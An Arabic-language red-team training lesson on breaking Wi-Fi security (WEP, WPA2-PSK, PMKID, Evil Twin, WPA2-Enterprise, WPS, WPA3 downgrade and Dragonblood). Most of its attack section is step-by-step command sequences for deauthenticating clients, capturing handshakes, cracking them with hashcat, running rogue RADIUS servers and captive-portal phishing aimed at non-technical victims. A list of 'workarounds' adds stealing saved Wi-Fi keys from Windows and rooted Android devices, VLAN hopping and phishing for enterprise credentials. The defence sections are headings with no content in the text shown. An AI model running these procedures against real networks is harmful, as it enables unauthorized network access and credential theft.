اعرف اللي قصادك. احمي أرضك.
YoriSecCyber Operationsالصفحة الرئيسية
الفرق الحمراء — الهجوم

Wi-Fi Deep Dive — اللي بيتكسر واللي صامد

WEP و WPA2 و WPA3 و Enterprise — الهجمات والحدود

المستوى
خبير
المدة
100m
الترتيب
الدرس 34 من 85
Wi-FiWPA3PMKIDEvil TwinEAP

ليه الـ Wi-Fi خاص؟

إنت في الشركة. الـ corp Wi-Fi شغّال. كل حاجة "محمية بـ password قوي".

طب الـ attacker قاعد في عربية في الشارع، عنده هوائي بـ 30 دولار.

هو بيشوف نفس الـ packets اللي بتشوفها. نفس الـ frames. نفس كل حاجة.

الفرق الوحيد: التشفير.

تشبيه يقرّب الفكرة
الكابل النحاسي زي ماسورة بتنقل مياه — محدش يقدر يوصلها إلا لما يفتح الحيطة. الـ Wi-Fi زي شبورة بتطلع من الشباك — كل اللي في الشارع، في العربية، في الشقة المجاورة، بيشمها. التشفير مش "حماية إضافية"، هو الحاجز الوحيد بين بياناتك وأي حد ماشي بهوائي. لو الحاجز ضعيف، يعني مفيش حاجز. - بس إحنا حاطين password قوي يا حضرتك؟؟ ها ها ها يا مستجد. الـ password القوي بيتكسر offline على RTX 4090 في يوم. اللي بيفرّق مش "قوته" بمقاييس IT، اللي بيفرّق هو طوله العشوائي وWPA3. اوعى تخلط.

أنواع شبكات Wi-Fi و حالة كل واحدة في 2026

WEP (1999)

RC4 + IV قصيرة (24-bit). مكسور بالكامل — بيتكسر في أقل من 5 دقايق بأي كرت monitor mode.

دلوقتي بيظهر بس في طابعات قديمة، أجهزة ICS، أو أجهزة محدش حدّثها. وجوده لوحده مؤشر إن الصيانة عك.

WPA / TKIP (2003)

ترقيع لـ WEP. مكسور عن طريق Beck-Tews / chopchop. ما حدش بيستخدمه دلوقتي إلا بالغلط.

WPA2-PSK / AES-CCMP (2004)

القياس العام لعقدين. آمن من ناحية الخوارزمية، هش من ناحية الباسورد. كل الهجمات الحقيقية = كسر offline لـ handshake.

معرّض لـ KRACK (2017) — اتعالج بترقيعات client. هجوم PMKID (2018) — مش محتاج client أصلاً.

WPA2-Enterprise (EAP)

RADIUS + شهادة. أقوى بس الإعداد الغلط بيقتله: عميل ما بيفحصش شهادة الـ server → Evil Twin بياخد NetNTLM/MSCHAPv2 hashes.

WPA3-Personal / SAE (2018)

Dragonfly handshake — بيمنع الكسر offline نظرياً. كل محاولة محتاجة تفاعل مع AP حقيقي → forward secrecy.

ضربته ثغرات Dragonblood (CVE-2019-9494/9496) في الـ side-channel والـ downgrade. الترقيعات الحديثة قفلت معظمها.

WPA3-Enterprise + 192-bit suite

للقطاعات الحكومية/المالية. Suite-B + ECDH P-384 + AES-GCMP-256. مفيش هجمات عملية معروفة على الخوارزمية نفسها — بس على الإعداد والبشر.

OWE (Opportunistic Wireless Encryption)

بديل آمن للـ Open networks في الكافيهات. تشفير من غير باسورد عن طريق Diffie-Hellman. مش بيحمي من Evil Twin لأن مفيش مصادقة للـ AP.

WPS (PIN)

زرار أو PIN من 8 أرقام للاتصال السريع. بيتكسر في ساعات عن طريق Pixie Dust أو brute-force على الـ PIN. قفله دايماً، من غير تفكير.

عتاد المهاجم — ما تحتاجه فعلاً

  • كرت يدعم monitor mode + packet injection: Alfa AWUS036ACM (chipset MT7612U)، AWUS036ACH (RTL8812AU)، Panda PAU09.
  • هوائي اتجاهي (Yagi 16dBi) للمسافات البعيدة، أو omni للمسح المتعدد.
  • SDR اختياري (HackRF, BladeRF) للتحليل الأعمق والهجمات المخصصة.
  • GPU للـ cracking: hashcat على RTX 4090 بيكسر ~3M H/s لـ WPA2. الفرق بين فجر وأسبوع.
  • Pwnagotchi / WiFi Pineapple لجمع handshakes وإدارة AP خبيث.
bash
# تأكد البطاقة تدعم monitor + injection
iw list | grep -A 8 "Supported interface modes"
aireplay-ng --test wlan0mon

هجمات قابلة للتنفيذ اليوم — الخطوات

1) WPA2-PSK — handshake offline
bash
airmon-ng start wlan0
airodump-ng wlan0mon
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w cap wlan0mon
# في terminal آخر — إجبار client على إعادة الاتصال
aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon
# تحويل و كسر
hcxpcapngtool -o cap.hc22000 cap-01.cap
hashcat -m 22000 cap.hc22000 rockyou.txt -r best64.rule
2) PMKID — بدون client
bash
hcxdumptool -i wlan0mon -o pmkid.pcapng \
  --enable_status=1
hcxpcapngtool -o pmkid.hc22000 pmkid.pcapng
hashcat -m 22000 pmkid.hc22000 wordlist.txt

يستهدف routers تنشر PMKID في أول EAPOL-frame. كثير منها معطّل اليوم لكن لا يزال يعمل ضد عتاد قديم.

3) Evil Twin + Captive Portal
bash
# AP مزيف بنفس SSID + إشارة أقوى + de-auth للـ AP الأصلي
airgeddon   # tui يقود السيناريو كاملاً
# أو يدوياً:
hostapd-mana hostapd.conf
dnsmasq -C dnsmasq.conf
# صفحة تطلب "إعادة إدخال كلمة سر Wi-Fi" — ضحايا غير تقنيين
4) WPA2-Enterprise — سرقة hashes
bash
# eaphammer ينشئ RADIUS مزيف
./eaphammer -i wlan0 --essid CORP-WIFI --bssid AA:BB:CC:DD:EE:FF \
  --auth wpa-eap --creds
# يلتقط MSCHAPv2 challenge/response
# ثم asleap أو hashcat -m 5500
hashcat -m 5500 ntlm.hash rockyou.txt

يعمل فقط لو client لا يفحص شهادة الـ RADIUS — وهي التهيئة الافتراضية في معظم الشبكات.

5) WPS — Pixie Dust
bash
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -K 1 -vvv
# أو
bully -b AA:BB:CC:DD:EE:FF -d wlan0mon
6) WPA3 — downgrade & Dragonblood
bash
# لو الشبكة "transition mode" (WPA2/WPA3 معاً)
# أنشئ AP مزيف يدعم WPA2 فقط بنفس SSID → client يقع
# Dragonblood side-channel:
git clone https://github.com/vanhoefm/dragonblood
python dragondrain.py wlan0mon AA:BB:CC:DD:EE:FF

معظم الـ APs الحديثة رقّعت Dragonblood، لكن transition mode يبقى نقطة ضعف تصميمية.

ما لا يُكسر اليوم — حدود الواقع

طرق خفية / غير مباشرة (Workarounds)

  1. هجوم BSSID Spoofing على الـ Probe Requests: الجهاز يبثّ باستمرار أسماء الشبكات التي يحفظها (PNL). استخدم Karma/MANA للرد بـ "نعم أنا تلك الشبكة" → يتصل تلقائياً.
  2. سرقة الـ Pre-Shared Key من نقطة النهاية: على Windows في netsh wlan show profile name="X" key=clear؛ على Android من ملف /data/misc/wifi/WifiConfigStore.xml بصلاحية root.
  3. هجوم سلسلة التوريد على الـ Router: استغلال CVE في firmware (Asus, TP-Link, Netgear) للوصول لـ admin ثم استخراج PSK من /etc/config/wireless.
  4. Side-channel عبر الجدار: تحليل قوة الإشارة و توقيت الحزم يكشف نشاط بشري داخل المبنى — مفيد للـ reconnaissance قبل الاقتحام الفعلي.
  5. RogueAP بمسمى GuestWiFi/Free-WiFi قرب الهدف: لا يحتاج اختراق شبكتهم — يكفي أن موظفاً واحداً يتصل بهاتفه و تخترق ذلك الهاتف، ثم تنتقل عبر VPN الشركة.
  6. Bluetooth/UWB كقناة جانبية: نفس الجهاز يبثّ Bluetooth أيضاً. ثغرات BlueBorne / KNOB تعطي pivot دون لمس Wi-Fi.
  7. هجمات Layer-2 بعد الانضمام كضيف: شبكات Wi-Fi كثيرة تفصل Guest/Corp بـ VLAN ضعيفة. yersinia + VLAN hopping + ARP spoofing داخل Guest قد تصل للـ Corp.
  8. سرقة EAP credentials عبر phishing بريد قبل الوصول للموقع: سرقة username/password ثم الاتصال بـ Enterprise Wi-Fi شرعياً من الموقف خارج المبنى.
  9. FragAttacks (CVE-2020-24588 و رفاقها): عيوب تصميم في 802.11 تسمح بحقن plaintext frames في شبكات مشفّرة. ترقّع تدريجياً لكن لا تزال تعمل ضد عتاد قديم.
  10. هجوم الـ "Captive Portal Cookie": شبكات الفنادق و المطارات تعتمد cookie للسماح بالخروج. سرقتها من ضحية متصلة → دخول مباشر دون كلمة سر.

الحماية — كيف تجعل شبكتك ضمن «ما لا يُكسر»

مصادر و قراءات

  • Mathy Vanhoef — KRACK, Dragonblood, FragAttacks papers.
  • Wi-Fi Alliance — WPA3 Specification.
  • NIST SP 800-153 — Wireless LAN Security Guidelines.
  • Aircrack-ng / hashcat / hcxtools docs.

غلطات الـ junior في الـ Wi-Fi

الخلاصة الناشفة

الـ Wi-Fi شبورة في الشارع. أي حد عنده 30 دولار وهوائي بيقدر يسمع.

الفرق بين شبكة آمنة وشبكة مكشوفة = WPA3-Enterprise + EAP-TLS + certificate pinning + wireless monitoring.

الباقي إسعافات أولية.

وفي البيئات الحكومية الحساسة: الـ Wi-Fi مش option من الأصل. السيرفرات والـ admin workstations على كابل، بس وخلاص.

اكتبها على إيدك: لو الـ admin workstation على Wi-Fi، يبقى مفيش Wi-Fi، يبقى مفيش admin.

خلّصت الدرس؟

علّمه علشان تفضل عارف انت فين على السكة.